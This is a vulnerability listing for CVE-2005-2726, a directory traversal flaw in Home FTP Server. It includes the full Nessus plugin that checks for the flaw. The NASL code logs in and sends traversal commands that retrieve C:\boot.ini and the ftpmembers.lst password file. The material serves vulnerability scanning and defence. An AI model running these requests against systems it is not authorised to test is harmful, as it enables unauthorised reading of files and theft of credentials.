Vulnerabilities > CVE-2005-2726 - Multiple vulnerability in ARI Pikivirta Home FTP Server 1.0.7B45

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
ari-pikivirta
nessus

Summary

Directory traversal vulnerability in Home Ftp Server 1.0.7 allows remote authenticated users to read arbitrary files via "C:\" (Windows drive letter) sequences in commands such as (1) LIST or (2) RETR.

Vulnerable Configurations

Part Description Count
Application
Ari_Pikivirta
1

Nessus

NASL familyFTP
NASL idHOME_FTP_DIR_TRAVERSAL.NASL
descriptionThe remote host appears to be running Home Ftp Server, an FTP server application for Windows. The installed version of Home Ftp Server by default lets authenticated users retrieve configuration files (which contain, for example, the names and passwords of users defined to the application) as well as arbitrary files on the remote system.
last seen2020-06-01
modified2020-06-02
plugin id19501
published2005-08-25
reporterThis script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/19501
titleHome FTP Server Multiple Vulnerabilities
code
#TRUSTED 19136408cb3631452981fd23d3af0f8539281a587b1abba0d53e077222b67ba25f3850650fd4f04e60a78b1fab4079bcafb82353ed33f64d9cd041998405ca9c8141271589c1d8605339f4b5acee687d06353d7eff04ef227af113726ce0120799d48bb510df90bbf337fb0996542e5921a4ba99d12473d1623239eb72fbf65cc30947365ea481119c2ebeeb0f3e0a65bfce7961f3e1464cc0604f9bcb7a35f6e07d63d89cced56f57b46d54e715bfb2f83cdb5a9c67f40f3875c1aa6a383338edcf2b4183a8cc8eaf97dce9f245d575d99a0f516d24d21fb41cde93f6a2de06495d2681feef96ab5d1b016beec6f28823aad17f065ca5604b4fd94c8be8fa461181ae4764a4a80cf1255142e389dc052b88a5425e7164c7b76410dd7e53697090cd985e295f8a92fb5b76936edf245226de57a9d8287e994dd494798d89a43c85091fc1c6141560b120f2d13798df693dbb2ba12f04383026d654604efcfcc948e05cec365144046f4c8d033740593abb2d970552ee29a4f9478e047a380410833db3a39935c246da1ab93287b34d1c36de1adbfc45be21569d164d68d645cb89aa1fff070786b3c6157285c166bbf97d2bff04a9fc0cef5e3ba365a63582137e77c6621e255635e02949b2225e58a0e80eb5e0d50bbd04ff73f2b8f720598bb1a9f0db6329a683568b62e47f8a1caccb9032449974bfb65cf07a1eee384e67
###
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description) {
  script_id(19501);
  script_version("1.32");

  script_cve_id("CVE-2005-2726", "CVE-2005-2727");
  script_bugtraq_id(14653);

  script_name(english:"Home FTP Server Multiple Vulnerabilities");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote FTP server is affected by various information disclosure
issues." );
 script_set_attribute(attribute:"description", value:
"The remote host appears to be running Home Ftp Server, an FTP server
application for Windows. 

The installed version of Home Ftp Server by default lets authenticated
users retrieve configuration files (which contain, for example, the
names and passwords of users defined to the application) as well as
arbitrary files on the remote system." );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a5e13b3f" );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2005/Aug/811" );
 script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:P/I:N/A:N");
 script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2005-2726");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2005/08/25");
 script_set_attribute(attribute:"vuln_publication_date", value: "2005/08/24");
 script_cvs_date("Date: 2019/02/26  4:50:08");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_summary(english:"Checks for multiple vulnerabilities in Home Ftp Server");
  script_category(ACT_ATTACK);
  script_family(english:"FTP");
  script_copyright(english:"This script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "ftp_overflow.nasl");
  script_require_keys("ftp/login", "ftp/password");
  script_require_ports("Services/ftp", 21);
  exit(0);
}


include('global_settings.inc');
include("misc_func.inc");
include("ftp_func.inc");
include("data_protection.inc");

# nb: to exploit the vulnerability we need to log in.
user = get_kb_item_or_exit("ftp/login");
pass = get_kb_item_or_exit("ftp/password");


port = get_ftp_port(default: 21);

soc = ftp_open_and_authenticate( user:user, pass:pass, port:port );
if (!soc)
{
  exit(1, "cannot login on port "+port+" with supplied FTP credentials");
}


# Make sure it looks like Home Ftp Server.
#
# nb: don't trust the banner since that's completely configurable.
send(socket:soc, data:'SYST\r\n');
s = ftp_recv_line(socket:soc);
if ("UNIX Type: L8 Internet Component Suite" >!< s) {
  exit(0, "Service on port "+port+" doesn't look like Home Ftp Server.");
}


# Try to get boot.ini.
#
# nb: this may fail if another process is accessing the file.
port2 = ftp_pasv(socket:soc);
if (!port2) exit(1, "PASV failed on port "+port+".");
soc2 = open_sock_tcp(port2, transport:ENCAPS_IP);
if (!soc2) exit(1, "Connection refused to passive port "+port+".");

send(socket:soc, data:'RETR C:\\boot.ini\r\n');
s = ftp_recv_line(socket:soc);
if (egrep(string:s, pattern:"^(425|150) ")) {
  file = ftp_recv_data(socket:soc2);

  # There's a problem if it looks like a boot.ini.
  if ("[boot loader]" >< file) {
    report =
'Here are the contents of the file \'\\boot.ini\' that Nessus\n' +
'was able to read from the remote host :\n\n' +
 string(file) ;
    security_warning(port:port, extra:report);
    vuln = 1;
  }
}
close(soc2);


if (thorough_tests && isnull(vuln)) {
  # Try to retrieve the list of users.
  port2 = ftp_pasv(socket:soc);
  if (!port2) exit(1, "PASV failed on port "+port+".");
  soc2 = open_sock_tcp(port2, transport:ENCAPS_IP);
  if (!soc2) exit(1, "Connection refused to passive port "+port+".");

  send(socket:soc, data:'RETR ftpmembers.lst\r\n');
  s = ftp_recv_line(socket:soc);
  if (egrep(string:s, pattern:"^(425|150) ")) {
    file = ftp_recv_data(socket:soc2);

    # There's a problem if it looks like the member's list.
    if ("[ftpmembers]" >< file && "pass=" >< file) {
      report =
'Here are the contents of the file \'ftpmembers.lst\' that Nessus\n' +
'was able to read from the remote host :\n\n' +
  data_protection::sanitize_user_full_redaction(output:file);
      security_warning(port:port, extra:report);
    }
  }
  close(soc2);
}

# Close the connections.
ftp_close(socket:soc);